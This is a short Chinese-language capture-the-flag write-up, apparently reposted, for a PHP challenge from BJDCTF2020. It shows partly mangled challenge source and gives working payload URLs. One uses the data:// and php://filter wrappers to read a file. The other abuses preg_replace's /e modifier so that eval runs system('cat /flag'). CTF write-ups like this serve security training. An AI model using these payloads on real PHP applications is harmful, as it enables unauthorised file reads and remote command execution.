[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式
阅读原文时间:2023年07月08日阅读:2

转自https://www.cnblogs.com/gaonuoqi/p/12499623.html

题目给了源码

".file\_get\_contents($text,'r')."


"; if(preg\_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight\_file(\_\_FILE\_\_); } ?>

绕过限制,首先用php://input伪协议或着用data伪协议读取I have a dream,然后用filter伪协议读取next.php

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

获取next.php的源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace存在/e的命令执行漏洞  看了一下这篇文章的讲解

构造payload

?\S*=${getFlag()}&cmd=system('cat /flag');